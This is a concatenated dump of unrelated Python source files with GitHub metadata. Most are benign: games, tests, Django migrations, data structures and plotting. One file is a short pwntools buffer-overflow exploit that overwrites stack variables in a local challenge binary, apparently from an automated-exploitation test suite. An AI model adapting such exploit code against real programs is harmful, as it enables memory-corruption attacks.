1b29a160a8943404218a6136448036d9c6a9b837 | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/scrabble-score/fbbc6ac871ec43ada2456df21f30e1f6.py | 50094ccb4a75be5f5dfd9f8bcf26387607f21d6e | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 748 | py | import string
def clean_input( w ):
wClean = ''
for l in w:
if l.lower() in string.ascii_lowercase:
wClean += l.lower()
return wClean
def value( l ):
if l in ['a','e','i','o','u','l','n','r','s','t']:
return 1
elif l in ['d','g']:
return 2
elif... | [
"rrc@berkeley.edu"
] | rrc@berkeley.edu |
29c38ef9018eef0e4608ea14e85e6edc3dd0a6fd | a1119965e2e3bdc40126fd92f4b4b8ee7016dfca | /branches/repy_v2/seattlelib/testlibrepy/ut_librepy_lock.py | 1a7334ba41f0dff0942d8474f5b7aeea9023d853 | [
"MIT"
] | permissive | SeattleTestbed/attic | 0e33211ddf39efdbcf5573d4fc7fa5201aa7310d | f618a962ce2fd3c4838564e8c62c10924f5df45f | refs/heads/master | 2021-06-10T23:10:47.792847 | 2017-05-15T12:05:43 | 2017-05-15T12:05:43 | 20,154,061 | 0 | 1 | null | 2014-10-16T17:21:06 | 2014-05-25T12:34:00 | Python | UTF-8 | Python | false | false | 526 | py | #pragma repy restrictions.default dylink.repy librepy.repy
"""
This unit test checks the lock object.
"""
# Setup a timeout thread
def timeout():
sleep(5)
print "Timeout!"
exitall()
createthread(timeout)
# Create the lock
lock = Lock()
# Acquire the lock
gotit = lock.acquire()
if not gotit:
print "Should hav... | [
"USER@DOMAIN"
] | USER@DOMAIN |
4d10c56709aabb33cc016ecd2d54a761ef658257 | b94064c4aad38ddf1a94d28733bccfd61aa3068c | /PRA4/misc/gen.py | 67333b00aade74ebbfeb6c3322ce5d5d97f3a06d | [] | no_license | Giantpizzahead/pro-club-problems | 45b3738ec6682bf77815f0c1535a345fed031d9f | e2a2d618f3d781f32a9876eb9685f143f0b4706c | refs/heads/master | 2023-07-01T19:24:42.768521 | 2021-08-09T12:06:50 | 2021-08-09T12:06:50 | 394,275,100 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,451 | py | import random
import string
N = 100000
P = 1
M = 75000
is_imp_chance = 0.99
names = set()
for i in range(N):
while True:
name = ''.join(random.choice(string.ascii_letters) for i in range(4))
if name not in names:
names.add(name)
break
names = list(names)
names = sorted(nam... | [
"43867185+Giantpizzahead@users.noreply.github.com"
] | 43867185+Giantpizzahead@users.noreply.github.com |
535834895b4ec160cbd5c36db69875ad1a7be458 | 90b813638e09d36261b60f603ecdc7629e523954 | /tests/pytests/topology/TestFields.py | a541c20d0ada0945c41160b6edbc7b3c37b18c5d | [
"MIT"
] | permissive | gurnis/pylith | 2ca434e78c772f3904aa5da6280429daef4f4f4d | cdb0cc13bbf870bb8c42e981ceadfe955a54b61f | refs/heads/main | 2023-05-06T05:16:31.448792 | 2021-05-28T19:30:13 | 2021-05-28T19:30:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,254 | py | #!/usr/bin/env nemesis
#
# ======================================================================
#
# Brad T. Aagaard, U.S. Geological Survey
# Charles A. Williams, GNS Science
# Matthew G. Knepley, University of Chicago
#
# This code was developed as part of the Computational Infrastructure
# for Geodynamics (http://g... | [
"baagaard@usgs.gov"
] | baagaard@usgs.gov |
0a26f68a0c9e9089091698f821d85efaf6608b5c | 8cc30a27835e205a3476783106ca1605a6a85c48 | /amy/workshops/migrations/0049_auto_20150916_0544.py | f7141ff71ab7ab9a6756e73b6c2e968a45ebb526 | [
"MIT"
] | permissive | gaybro8777/amy | d968edc78bbd3f63f3353450334721628dbbc0f4 | 3cf99aed58a0f0acf83d2645a30d8408208ccea9 | refs/heads/develop | 2023-03-07T22:08:28.692700 | 2021-02-23T18:06:06 | 2021-02-23T18:06:06 | 341,930,505 | 0 | 0 | MIT | 2021-02-24T17:22:08 | 2021-02-24T14:40:43 | null | UTF-8 | Python | false | false | 2,637 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('workshops', '0048_auto_20150916_0441'),
]
operations = [
migrations.AlterField(
model_name='person',
... | [
"piotr@banaszkiewicz.org"
] | piotr@banaszkiewicz.org |
4d413b86650ce2378e3499eff1f05b81c71e5abc | 7c79c8caee77d08aa05cdc59eb68e569abf54a7e | /ics 33/workspace/larc/src/lab_midterm_solutions.py | 5e5b9e76f5bba7d557dccc03acebc2de97b34ec9 | [] | no_license | solomc1/python | 2e4715cc24e7b23d91c879fc95954f615a615982 | 119e388fb6f4ab42f581e48393919d4052a08ef6 | refs/heads/master | 2021-01-17T16:48:02.671810 | 2016-07-29T05:27:50 | 2016-07-29T05:27:50 | 64,452,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,943 | py | import prompt
from goody import safe_open,irange
from collections import defaultdict # Use dict or defaultdict
def compute_prefixes(fq):
return {fq[0:i] for i in irange(1,len(fq))}
def read_queries(open_file):
prefix_dict = defaultdict(set)
query_dict = defaultdict(int)
for l in ... | [
"solomc1@uci.edu"
] | solomc1@uci.edu |
45fc9c663bde695171c367f2c72f3b9a60be55b2 | bffcd3f7f4008ed5290960bfded36e3344455742 | /eth/vm/forks/istanbul/blocks.py | d062dc662266447c1d15fb340911809c3126c28f | [
"MIT"
] | permissive | cd4761/ecc-py-evm | 1527aa8445a9e2afd3bf5d251c12c0cdf66ffee3 | 299bb3aaff28f066413915b316c7f81c66e1259f | refs/heads/master | 2020-06-18T00:43:41.456954 | 2019-12-19T02:46:54 | 2019-12-19T02:46:54 | 196,113,505 | 0 | 0 | MIT | 2019-07-23T06:51:24 | 2019-07-10T02:10:03 | Python | UTF-8 | Python | false | false | 475 | py | from rlp.sedes import (
CountableList,
)
from eth.rlp.headers import (
BlockHeader,
)
from eth.vm.forks.constantinople.blocks import (
ConstantinopleBlock,
)
from .transactions import (
IstanbulTransaction,
)
class IstanbulBlock(ConstantinopleBlock):
transaction_class = IstanbulTransaction
fi... | [
"fubuloubu@gmail.com"
] | fubuloubu@gmail.com |
e9a256fac7a9f14612f062e9cac44e8978bd51d9 | 0fe394b10b39864915fcc4073a5fa050aa02502e | /SeriesOfMatplotlib/pie/pie.py | 55043a1080bb3d99d641ccaac4b74d6db7a9004f | [] | no_license | JohnAssebe/Python | 9997d47bba4a056fdcd74c6e5207fc52b002cbfd | b88a7c2472f245dc6a0e8900bbea490cb0e0beda | refs/heads/master | 2022-05-14T10:08:37.311345 | 2022-05-09T19:48:53 | 2022-05-09T19:48:53 | 212,562,910 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 540 | py | from matplotlib import pyplot as plt
# pie chart is best suited for data less than or equal to 5
plt.style.use('fivethirtyeight')
data=[1,2,3,4,5]
labels=['one','two','three','four','five']
explode=[0,0,0.1,0,0]
plt.pie(data,labels=labels,shadow=True,
startangle=180, #to rotate
explode=explode, # used to set... | [
"noreply@github.com"
] | JohnAssebe.noreply@github.com |
77311df3bdad31b0c4530d540a87189fc135fd36 | 1fddb12ae9b7db260b9161983a726f1528ece940 | /Part_01/Cap_09/dog.py | e76f0551984107ff76add3491146e9f0a6c9a89a | [] | no_license | davicosta12/python_work | aecf642bbbf2a007fba159f305b4ab21ff00503f | 5df62d3ced25b7e04cda71846fd07862dda39b4c | refs/heads/master | 2023-04-23T09:49:31.923211 | 2021-04-27T00:31:42 | 2021-04-27T00:31:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 793 | py | # Classes
class Dog():
"""Uma tentativa simples de modelar um cachoroo"""
def __init__(self, name, age): # init é um método da classe
"""Inicializa os atributos name e age"""
self.name = name
self.age = age
def sit(self): # sit() é um método criado pelo programador
print(self.name.title() ... | [
"deadspace24@hotmail.com"
] | deadspace24@hotmail.com |
321c537543d6db60e75273c704f7d641d182111b | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/1/b6-.py | 83aef6a11013f8a4e2961856a7b8f6f4506058d2 | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
... | [
"juliettaylorswift@gmail.com"
] | juliettaylorswift@gmail.com |
12f9ce00a71628a253ecffb17243932a5e457b00 | 9d8bc94440f13cd6a514ad1be3d9139c342ce650 | /app/__init__.py | 01045a882fc597636f8ba8ad1ff55f6287b7e168 | [
"MIT"
] | permissive | Albert-Byrone/Blog | 391194c1998d894d78ee9a6fbe1523096231dbfb | 55bc02aa4822bf81a2ab0e31274b1d14a875dd5e | refs/heads/master | 2022-12-18T10:22:35.879414 | 2019-10-29T07:23:50 | 2019-10-29T07:23:50 | 217,862,684 | 1 | 1 | MIT | 2022-12-08T06:47:03 | 2019-10-27T13:55:54 | Python | UTF-8 | Python | false | false | 936 | py | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from config import config_options
from flask_bootstrap import Bootstrap
from flask_login import LoginManager
from flask_mail import Mail
from flask_uploads import configure_uploads,UploadSet,IMAGES
login_manager = LoginManager()
login_manager.session_p... | [
"albertbyrone1677@gmail.com"
] | albertbyrone1677@gmail.com |
6e36c4b9745e77374c1db3de4a87e5a2004e2723 | 5b46d281ca865b144ba4c82e84ef9fd414cea991 | /zerver/lib/github.py | c590608e279e9a061d894910fbd85fb6f71fb438 | [
"Apache-2.0",
"LicenseRef-scancode-free-unknown"
] | permissive | sumanthvrao/zulip | ceda43794cb68f52d52172f325a8c5caa385f279 | 2f36c5aefc812799f3a48bad432a2ffaf2dcac66 | refs/heads/master | 2021-06-05T13:03:22.180707 | 2021-05-05T17:54:26 | 2021-05-06T22:55:40 | 159,594,480 | 1 | 0 | Apache-2.0 | 2018-12-05T00:04:34 | 2018-11-29T02:18:47 | Python | UTF-8 | Python | false | false | 1,740 | py | import json
import logging
import requests
from zerver.lib.cache import cache_with_key
logger = logging.getLogger(__name__)
def get_latest_github_release_version_for_repo(repo: str) -> str:
api_url = f"https://api.github.com/repos/zulip/{repo}/releases/latest"
try:
return requests.get(api_url).json... | [
"tabbott@zulipchat.com"
] | tabbott@zulipchat.com |
e70f666c2512f65e0f4bf7cad39667faf4acf374 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5670465267826688_1/Python/Yibo/program.py | 477ba3c31f713299617ea990c7476a0ebf64d07b | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 2,437 | py | #!/usr/bin/python2.7
f = open('input.txt', 'r')
T = int(f.readline())
mult_table = [
[0, 0, 0, 0, 0],
[0, 1, 2, 3, 4],
[0, 2, -1, 4, -3],
[0, 3, -4, -1, 2],
[0, 4, 3, -2, -1]
]
dic = {
1: 1,
'i': 2,
'j': 3,
'k': 4
}
def mul(v1, v2):
# Returns the numerical value of v1 * v2
... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
c0b823dbc30ebf0586e4f30e2071dcdf2c302e56 | 23d027ab024fcc18dbadfc43590619217bffd0cd | /tests/test_cmd_base.py | f4767f7346159b2c5d4215020acdfef2c34f0b39 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | ankostis/doit | 46f4ef5a9c3959e8534901826b2b36598fb9898c | 1cf773021f3d6b1d8112944e3f095d5e41d71a34 | refs/heads/master | 2021-01-18T19:02:49.094079 | 2015-02-20T13:23:16 | 2015-02-20T13:23:16 | 32,616,867 | 0 | 0 | null | 2015-03-21T02:25:31 | 2015-03-21T02:25:30 | null | UTF-8 | Python | false | false | 7,800 | py | import os
import pytest
from doit import version
from doit.cmdparse import CmdParseError, CmdOption, CmdParse
from doit.exceptions import InvalidCommand, InvalidDodoFile
from doit.dependency import FileChangedChecker
from doit.task import Task
from doit.cmd_base import version_tuple, Command, DoitCmdBase
from doit.c... | [
"schettino72@gmail.com"
] | schettino72@gmail.com |
ca9a3aca5d8787b9abd8c0263f48b5a00aa46bf6 | ce164c8f07b2bb35d764bc6d198474083c8a2898 | /Project_2_Web/folder_management/application/structure/linked_queue.py | 6c3b475a1922c8db5990bf9c073d427bc5885e3a | [] | no_license | wjdwls0630/2019_1_Data_Structure | 14f5a5d08d0fdcfa625715efd280752a87bf7bc5 | 7b6d9bb3e69263e1b2e84128f4aad2dc28d0a9da | refs/heads/master | 2021-04-20T17:28:02.247711 | 2020-03-24T12:44:53 | 2020-03-24T12:44:53 | 249,704,781 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,323 | py | from folder_management.application.structure.nodetype import *
from folder_management.application.error.empty_queue import *
# Created by ParkJungJin on 2019-05-27.
"""@package docstring
@brief LinkedQueue class.
@details This class processes as First In, First Out (FIFO), ���ø��� ������ �پ��� ���� Ÿ���� ������ �� �ִ... | [
"wjdwls0630@gmail.com"
] | wjdwls0630@gmail.com |
a27ab0c2175897e96a5ae4297ed11cfac9f5654a | b6c09a1b87074d6e58884211ce24df8ec354da5c | /剑指 Offer 58 - II. 左旋转字符串.py | 93ec361819714648590adb6fba993586029f6049 | [] | no_license | fengxiaolong886/leetcode | a0ee12d67c4a10fb12d6ca4369762ab5b090cab1 | 4c0897bc06a297fa9225a0c46d8ec9217d876db8 | refs/heads/master | 2023-03-18T22:16:29.212016 | 2021-03-07T03:48:16 | 2021-03-07T03:48:16 | 339,604,263 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | """
字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如,输入字符串"abcdefg"和数字2,该函数将返回左旋转两位得到的结果"cdefgab"。
示例 1:
输入: s = "abcdefg", k = 2
输出: "cdefgab"
示例 2:
输入: s = "lrloseumgh", k = 6
输出: "umghlrlose"
"""
def reverseLeftWords(s, n):
return s[n:] + s[:n]
print(reverseLeftWords(s = "abcdefg", n = 2))
print(r... | [
"xlfeng886@163.com"
] | xlfeng886@163.com |
11cff43646bff3ced07abb5143aef0e24ace9ae9 | be7bb6d0cbdb27d3ff72830dc9cce41b170b27fe | /0x11-python-network_1/2-post_email.py | adf310927a0a167e9f6b4ab2d4a2cb4dd60e100c | [] | no_license | camagar/holbertonschool-higher_level_programming | 21a8e7c2a2ad07c694c5443e174bb70502f910c2 | 97dd2fade6fb64ac7d9c52e412c0b8c1b8dfc3de | refs/heads/master | 2023-04-07T21:38:00.071687 | 2021-04-14T02:11:42 | 2021-04-14T02:11:42 | 291,889,478 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 412 | py | #!/usr/bin/python3
""" sends a POST"""
import urllib.request
import urllib.parse
import sys
if __name__ == "__main__":
listargs = sys.argv
values = {'email': listargs[2]}
data = urllib.parse.urlencode(values)
data = data.encode()
req = urllib.request.Request(listargs[1], data)
with urllib.reque... | [
"mauriciogrestrepo@gmail.com"
] | mauriciogrestrepo@gmail.com |
946537eccc9076270eacc877cd5d0ce2b0e6588b | 492c1e1dabb84ec4efb874b3d9228d31a675a38f | /817_1.py | 39412b49ae1450664fcce0f273d964dedeb6c4a6 | [] | no_license | ksnt/leet | 65f3c36c8a524e1cc1a5d00bb7a840222ecc9dfe | 6680ff978b88d3c44e538b4d5f0e6805ed85f9cf | refs/heads/master | 2022-09-24T10:59:18.740314 | 2022-09-01T19:06:12 | 2022-09-01T19:06:12 | 136,970,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 532 | py | # Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def numComponents(self, head, G):
"""
:type head: ListNode
:type G: List[int]
:rtype: int
"""
G = set(G)
curr... | [
"ksn0215@gmail.com"
] | ksn0215@gmail.com |
6abcfd59ea39eb671101cac7433e8adb7262bf20 | 0123229ac84c057b188f6b17c1131ec630ecaf25 | /scripts/1D_fitting/plain_lls/lls_fit.py | bd5477517f6e448ff4e6c1db8dc1ab8a17ce25f9 | [] | no_license | michellab/paramfit-tests | 689851ab95406aad7160403c4a70d3ec6be91981 | 39598e93936beff48aefff1604483fd265a5f46a | refs/heads/master | 2021-01-13T05:47:23.287857 | 2017-04-24T10:58:21 | 2017-04-24T10:58:21 | 76,249,680 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,276 | py | import numpy as np
import matplotlib.pyplot as plt
import math,random
def reference_function(x_points) :
fx = []
for x in x_points:
val = math.cos(x)
fx.append(val)
return fx
def random_datapoints(fx):
n_data = 10
x_data_points = []
y_data_points = []
for i in range(0,n_... | [
"stefanobosisio1@gmail.com"
] | stefanobosisio1@gmail.com |
fb4c806471aeb54eb54f012c8e280c32038e908e | 30109f5f173f4e51a20cfcaf6ec41628b177f553 | /fhir/resources/linkage.py | d564d4ad18c0bc98d4807283d0dccc33ef35b6b2 | [
"BSD-3-Clause"
] | permissive | arkhn/fhir.resources | 82c8f705c8f19e15621f2bb59fd17600c0ef3697 | 122e89c8599c4034bb3075b31d1a1188e377db91 | refs/heads/master | 2022-12-16T07:58:19.448071 | 2020-08-13T03:59:37 | 2020-08-13T03:59:37 | 288,683,730 | 1 | 0 | NOASSERTION | 2020-08-19T09:01:02 | 2020-08-19T09:01:01 | null | UTF-8 | Python | false | false | 3,980 | py | # -*- coding: utf-8 -*-
"""
Profile: http://hl7.org/fhir/StructureDefinition/Linkage
Release: R4
Version: 4.0.1
Build ID: 9346c8cc45
Last updated: 2019-11-01T09:29:23.356+11:00
"""
from typing import List as ListType
from pydantic import Field
from . import backboneelement, domainresource, fhirtypes
class Linkage(d... | [
"connect2nazrul@gmail.com"
] | connect2nazrul@gmail.com |
06f03e8706619ee744780bddd1d1cbe2dcb0da84 | 67d76057aee86c43d32e0b74f3ac94d521ee03d8 | /tests/journal.ext/error_loop.py | dbaa12a5df3103cf23851ffacdeea206d3ce1e38 | [
"BSD-3-Clause"
] | permissive | jlmaurer/pyre | 0f94b1855bf029210f07c528747221751e37687f | 6af38a83621d7d6228d147b4bb94f97fbb10f6e2 | refs/heads/master | 2023-05-25T04:33:19.907452 | 2020-06-18T14:07:54 | 2020-06-18T14:07:54 | 273,362,988 | 0 | 0 | NOASSERTION | 2021-06-10T23:42:14 | 2020-06-18T23:50:28 | null | UTF-8 | Python | false | false | 778 | py | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# michael a.g. aïvázis <michael.aivazis@para-sim.com>
# (c) 1998-2020 all rights reserved
def test():
"""
Verify that repeated use of the same channel instance works correctly
"""
# get the channel
from journal.ext.journal import Error as error
... | [
"michael.aivazis@para-sim.com"
] | michael.aivazis@para-sim.com |
c8a1d95d754125b3e7ee6ed068f85578cfb67f26 | 46c629d2a1a42dac6464a1c2fb7aedc2ab253347 | /DigiPathAI/helpers/utils.py | 453635405c5d60ac11ed570da1d4a4a47785d969 | [
"MIT"
] | permissive | MiRL-IITM/DigiPathAI | ef3a6179bb13473c5623d6b57044205ea7541990 | 7539923fca4ea7a8bd21ba6d000b51fc54ee2609 | refs/heads/master | 2020-09-11T20:29:49.833433 | 2019-11-16T09:19:43 | 2019-11-16T09:19:43 | 222,181,792 | 0 | 1 | null | 2019-11-17T01:31:21 | 2019-11-17T01:31:21 | null | UTF-8 | Python | false | false | 14,890 | py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from datetime import datetime
import os
import glob
import random
from ..models.densenet import *
from ..models.inception import *
from ..models.deeplabv3 import *
import imgaug
from imgaug import augmenters ... | [
"koriavinash1@gmail.com"
] | koriavinash1@gmail.com |
f19341fe2cecf1e04a8b37dca063da8f113871bc | e5a511e346f5be8a82fe9cb2edf457aa7e82859c | /Python/ListPrograms/Largest.py | 97a677f3edaba0ff016b9ff8a1a9f46e7ecf5780 | [] | no_license | nekapoor7/Python-and-Django | 8397561c78e599abc8755887cbed39ebef8d27dc | 8fa4d15f4fa964634ad6a89bd4d8588aa045e24f | refs/heads/master | 2022-10-10T20:23:02.673600 | 2020-06-11T09:06:42 | 2020-06-11T09:06:42 | 257,163,996 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 183 | py | """Write a Python program to get the largest number from a list."""
list1 = list(input().split())
print(list1)
largest = max(int(x) for x in list1 if x == max(list1))
print(largest)
| [
"neha.kapoor070789@gmail.com"
] | neha.kapoor070789@gmail.com |
4f8800af0825e54fa81404c512c57e2fb8c8d810 | bf001de41a72db2f0fc957fd4ba24a5b38ef1db5 | /packages/camphr_transformers/tests/test_ner.py | 84d1df42984b284a40e947cf55e764dfb0021962 | [
"Apache-2.0"
] | permissive | PKSHATechnology-Research/camphr | b8e6e896238d0ea2c04db9709f6e68445e66cbee | d464d079e71fed0d53f78d45a42c1fdf6637c10a | refs/heads/master | 2023-08-05T14:39:46.209210 | 2021-08-18T06:06:51 | 2021-08-18T06:06:51 | 239,420,805 | 373 | 23 | Apache-2.0 | 2022-12-09T05:56:02 | 2020-02-10T03:39:58 | Python | UTF-8 | Python | false | false | 5,052 | py | from dataclasses import dataclass
from hypothesis import strategies as st, given
from pathlib import Path
from typing import Dict, List, Literal, Tuple, Union
from typing_extensions import TypeAlias
from camphr.serde import from_disk, to_disk
import pytest
from camphr_transformers.ner import Ner, _decode_bio, _DUMMY
fr... | [
"tamuhey@gmail.com"
] | tamuhey@gmail.com |
9a81f65ff12e86c9667aaf1622dcdf7e7b2a3a66 | c7967ec500b210513aa0b1f540144c931ca687ac | /알고리즘 스터디/개인공부/SegmentTree/PortionMultiple.py | 847a131947285c0e6181797221bd98df0e092fd3 | [] | no_license | sunminky/algorythmStudy | 9a88e02c444b10904cebae94170eba456320f8e8 | 2ee1b5cf1f2e5f7ef87b44643210f407c4aa90e2 | refs/heads/master | 2023-08-17T01:49:43.528021 | 2023-08-13T08:11:37 | 2023-08-13T08:11:37 | 225,085,243 | 1 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,919 | py | #https://www.acmicpc.net/problem/11505
import sys
from math import ceil
from math import log2
tree = None
end_layer_width = None
def change(operand, target):
end_layer = (end_layer_width + operand - 1) >> 1
tree[end_layer_width + operand - 1] = target
while end_layer != 0:
tree[end_layer] = (tre... | [
"suns1502@gmail.com"
] | suns1502@gmail.com |
a18a96a402f1b858509089778397e14677059be8 | e71b6d14fbdbc57c7234ca45a47329d7d02fc6f7 | /flask_api/venv/lib/python3.7/site-packages/vsts/notification/v4_0/models/vss_notification_event.py | 9a9ffebfd1be3ed2b460586374af983b0779626c | [] | no_license | u-blavins/secret_sasquatch_society | c36993c738ab29a6a4879bfbeb78a5803f4f2a57 | 0214eadcdfa9b40254e331a6617c50b422212f4c | refs/heads/master | 2020-08-14T00:39:52.948272 | 2020-01-22T13:54:58 | 2020-01-22T13:54:58 | 215,058,646 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,262 | py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# -----------------------------------------------------------------... | [
"usama.blavins1@gmail.com"
] | usama.blavins1@gmail.com |
60fa4aff9912d39f672a2fbef96a78fb73ce7772 | 077a17b286bdd6c427c325f196eb6e16b30c257e | /00_BofVar-unit-tests/03_64/remenissions-work/exploit-BofVar-2.py | 8298ebf4adafce9a29174c16cf4a10b91be61559 | [] | no_license | KurSh/remenissions_test | 626daf6e923459b44b82521aa4cb944aad0dbced | 9dec8085b62a446f7562adfeccf70f8bfcdbb738 | refs/heads/master | 2023-07-08T20:25:04.823318 | 2020-10-05T06:45:16 | 2020-10-05T06:45:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 742 | py | from pwn import *
import time
import sys
import signal
import sf
target = process("./chall-test_BofVar-03-x64")
gdb.attach(target, execute="verify_exploit")
bof_payload = sf.BufferOverflow(arch=64)
bof_payload.set_input_start(0x48)
bof_payload.add_int32(0x10, 0xfacadf)
bof_payload.add_int32(0xc, 0xdead)
payload = bo... | [
"ryancmeinke@gmail.com"
] | ryancmeinke@gmail.com |
51dc69bbae2f8d9b4127218a7158982bbeaae0c6 | 1f012ca4eb76a7a470b12f54f4b9d65de8cada32 | /dbdata.py | 813a895386d35d95ef948d404e5f83150970c666 | [] | no_license | StockAnalyst/Analyst | e42973e7af1b925098a11f73401ea668fb23c5ea | e1e64ff5f3c8a9f0a2695990810410dfc519aa87 | refs/heads/master | 2021-01-01T04:19:56.196262 | 2016-06-05T12:22:49 | 2016-06-05T12:22:49 | 55,968,916 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,740 | py | # -*- coding: utf-8 -*-
dbdict = {'全部数据':'db_mkt','沪深股票数据':'equ','股票基本信息':'equ_equ','股票历次配股信息':'equ_equallot','股票分红信息':'equ_equdiv','股票首次上市信息':'equ_equipo','股票每日回报率':'equ_equretud','沪深融资融券每日汇总信息':'equ_fsttotal','股票列表':'equ_list',
'基本面数据':'fdmt','现金流量':'fdmt_cashflow','偿债能力':'fdmt_debtpaying','业绩报告':'fdmt_fdmtee','业绩预告... | [
"xiaoya_0922@126.com"
] | xiaoya_0922@126.com |
15cf6e65ec6f2e0e9117dc8259594aee0a365897 | 16b56c2b25126fd11a9e191f79473d13c33e6013 | /rxnebm/proposer/retroxpert/tools/draw_synthon.py | cffc4870114e4a225355d7a650d1a58b1e50c9d2 | [
"MIT"
] | permissive | rnaimehaom/rxn-ebm | 246cf57bd00db17b6ba0c6ebc20d607010825f39 | 8480822d0d8ad74e46edf693ad1cdc787291f422 | refs/heads/master | 2023-05-15T06:56:29.278776 | 2021-06-06T15:11:49 | 2021-06-06T15:11:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,304 | py | import matplotlib.pyplot as plt
import pandas as pd
from rdkit import Chem
from rdkit.Chem import rdChemReactions, rdDepictor, Draw
from rdkit.Chem.Draw import rdMolDraw2D, DrawingOptions
DrawingOptions.atomLabelFontSize = 15
DrawingOptions.dotsPerAngstrom = 100
DrawingOptions.bondLineWidth = 3.0
file = r'C... | [
"linmin001@e.ntu.edu.sg"
] | linmin001@e.ntu.edu.sg |
59e01eaa14b023924e01b9fa6d937ac922fa3460 | 7bb34b9837b6304ceac6ab45ce482b570526ed3c | /external/webkit/Tools/Scripts/webkitpy/common/config/committers_unittest.py | 068c0ee2072b6b8d1cabc1fbdd5135aeb10728ef | [
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"GPL-2.0-only",
"LGPL-2.1-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"Apache-2.0"
] | permissive | ghsecuritylab/android_platform_sony_nicki | 7533bca5c13d32a8d2a42696344cc10249bd2fd8 | 526381be7808e5202d7865aa10303cb5d249388a | refs/heads/master | 2021-02-28T20:27:31.390188 | 2013-10-15T07:57:51 | 2013-10-15T07:57:51 | 245,730,217 | 0 | 0 | Apache-2.0 | 2020-03-08T00:59:27 | 2020-03-08T00:59:26 | null | UTF-8 | Python | false | false | 3,777 | py | # Copyright (C) 2009 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the f... | [
"gahlotpercy@gmail.com"
] | gahlotpercy@gmail.com |
c5731a647cfc277c037952bbce716f3685b19b89 | 95495baeb47fd40b9a7ecb372b79d3847aa7a139 | /swagger_client/models/i_bgp_networks.py | e145464e4f95fd7e34bf1a4407af84d50d14fdee | [] | no_license | pt1988/fmc-api | b1d8ff110e12c13aa94d737f3fae9174578b019c | 075f229585fcf9bd9486600200ff9efea5371912 | refs/heads/main | 2023-01-07T09:22:07.685524 | 2020-10-30T03:21:24 | 2020-10-30T03:21:24 | 308,226,669 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,238 | py | # coding: utf-8
"""
Cisco Firepower Management Center Open API Specification
**Specifies the REST URLs and methods supported in the Cisco Firepower Management Center API. Refer to the version specific [REST API Quick Start Guide](https://www.cisco.com/c/en/us/support/security/defense-center/products-programmi... | [
"pt1988@gmail.com"
] | pt1988@gmail.com |
af26149dcce6099fe7e15b3abe49024d3ad6658a | 8dc84558f0058d90dfc4955e905dab1b22d12c08 | /build/util/version.py | 1013058beb94f853b61d4493cac376f84ef20219 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
